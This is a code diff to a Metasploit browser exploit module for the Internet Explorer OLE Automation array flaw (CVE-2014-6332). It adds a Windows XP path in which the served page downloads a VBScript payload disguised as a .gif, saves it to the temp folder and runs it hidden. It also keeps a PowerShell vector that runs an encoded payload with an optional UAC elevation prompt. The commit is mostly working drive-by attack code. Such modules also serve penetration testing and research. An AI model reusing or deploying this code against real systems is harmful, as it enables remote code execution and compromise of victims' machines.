@@ -11,17 +11,21 @@ class Metasploit4 < Msf::Exploit::Remote
1111 Rank = ExcellentRanking
1212
1313 include Msf ::Exploit ::Remote ::BrowserExploitServer
14+ include Msf ::Exploit ::EXE
1415 include Msf ::Exploit ::Powershell
1516
1617 def initialize ( info = { } )
1718 super ( update_info ( info ,
1819 'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution" ,
1920 'Description' => %q{
2021 This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
21- The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
22- For this module to be successful, powershell is required on the target machine. On
23- Internet Explorer versions using Protected Mode, the user has to manually allow
24- powershell.exe to execute in order to be compromised.
22+ The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
23+ Windows 10, and there is no patch for Windows XP or older.
24+
25+ Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
26+ Windows systems, the exploit will try using Powershell instead. If Protected Mode is
27+ enabled, the user has to manually allow powershell.exe to execute in order to be
28+ compromised.
2529 } ,
2630 'License' => MSF_LICENSE ,
2731 'Author' =>
@@ -32,6 +36,7 @@ def initialize(info={})
3236 'Wesley Neelen' , # security[at]forsec.nl
3337 'GradiusX <francescomifsud[at]gmail.com>' ,
3438 'b33f' , # @FuzzySec
39+ 'sinn3r'
3540 ] ,
3641 'References' =>
3742 [
@@ -46,14 +51,24 @@ def initialize(info={})
4651 'Platform' => 'win' ,
4752 'Targets' =>
4853 [
49- [ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
54+ [
55+ 'Windows XP' ,
56+ {
57+ 'os_name' => OperatingSystems ::Match ::WINDOWS_XP
58+ }
59+ ] ,
60+ [
61+ 'Other Windows x86' ,
62+ {
63+ 'os_name' => OperatingSystems ::Match ::WINDOWS ,
64+ }
65+ ]
5066 ] ,
5167 'BrowserRequirements' =>
5268 {
5369 :source => /script|headers/i ,
5470 :ua_name => HttpClients ::IE ,
55- :os_name => /win/i ,
56- :arch => 'x86' ,
71+ :arch => ARCH_X86 ,
5772 :ua_ver => lambda { |ver | ver . to_i . between? ( 4 , 10 ) }
5873 } ,
5974 'DefaultOptions' =>
@@ -260,31 +275,73 @@ def vbs_prepare()
260275
261276 end
262277
263- def get_html ( )
278+ def vbs_vector ( prep )
279+ vbs_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 16 ) +4 ) } .vbs"
280+ gif_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 5 ) +3 ) } .gif"
281+
282+ payload_src = ( datastore [ 'SSL' ] ? 'https' : 'http' )
283+ payload_src << '://'
284+ payload_src << ( datastore [ 'SRVHOST' ] == '0.0.0.0' ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ] )
285+ payload_src << ":#{ datastore [ 'SRVPORT' ] } #{ get_module_resource } /#{ gif_name } "
264286
287+ # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
288+ # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
289+ %Q|<!doctype html>
290+ <html>
291+ <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
292+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
293+ <body>
294+ <script language="VBScript">
295+ function runaaaa()
296+ On Error Resume Next
297+
298+ set xmlhttp = CreateObject("Microsoft.XMLHTTP")
299+ xmlhttp.open "GET", "#{ payload_src } ", False
300+ xmlhttp.send
301+
302+ Set objFSO=CreateObject("Scripting.FileSystemObject")
303+ folder = objFSO.GetSpecialFolder(2)
304+ scriptName = folder + "\\ #{ vbs_name } "
305+ Set objFile = objFSO.CreateTextFile(scriptName,True)
306+ objFile.Write xmlhttp.responseText
307+ objFile.Close
308+
309+ set shell=createobject("Shell.Application")
310+ shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
311+
312+ end function
313+ </script>
314+ <script language="VBScript">
315+ #{ prep }
316+ </script>
317+ </body>
318+ </html>
319+ |
320+ end
321+
322+ def powershell_vector ( prep )
265323 if datastore [ 'TRYUAC' ]
266324 tryuac = 'runas'
267325 else
268326 tryuac = 'open'
269327 end
270328
329+ # Powershell was the first technique demonstrated publicly.
330+ # On some Windows setups such as Windows 7 + IE 8, this works quite well.
331+ # But you will get a prompt for IE9 or newer.
271332 payl = cmd_psh_payload ( payload . encoded , "x86" , { :remove_comspec => true } )
272333 payl . slice! "powershell.exe "
273- prep = vbs_prepare ( )
274334
275- html = %Q|
276- <!doctype html>
335+ %Q|<!doctype html>
277336<html>
278337<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
279338<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
280339<body>
281340<script language="VBScript">
282341function runaaaa()
283342On Error Resume Next
284-
285343set shell=createobject("Shell.Application")
286344shell.ShellExecute "powershell.exe", "#{ payl } ", "", "#{ tryuac } ", 0
287-
288345end function
289346</script>
290347<script language="VBScript">
@@ -293,12 +350,38 @@ def get_html()
293350</body>
294351</html>
295352 |
353+ end
296354
355+ def get_html
356+ prep = vbs_prepare ( )
357+ case get_target . name
358+ when OperatingSystems ::Match ::WINDOWS_XP
359+ return vbs_vector ( prep )
360+ else
361+ return powershell_vector ( prep )
362+ end
297363 end
298364
299365 def on_request_exploit ( cli , request , target_info )
300- print_status ( "Requesting: #{ request . uri } " )
301- send_exploit_html ( cli , get_html ( ) )
366+ case request . uri
367+ when /\. gif/
368+ if get_target . name =~ OperatingSystems ::Match ::WINDOWS_XP
369+ p = regenerate_payload ( cli )
370+ data = generate_payload_exe ( { :code => p . encoded } )
371+
372+ # The default template uses \n, and wscript.exe isn't very happy about that.
373+ # It should be \r\n .
374+ vbs = Msf ::Util ::EXE . to_exe_vbs ( data ) . gsub ( /\x0a / , "\r \n " )
375+
376+ send_response ( cli , vbs )
377+ else
378+ # The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
379+ # something is not right.
380+ send_not_found ( cli )
381+ end
382+ else
383+ send_exploit_html ( cli , get_html )
384+ end
302385 end
303386
304387end
0 commit comments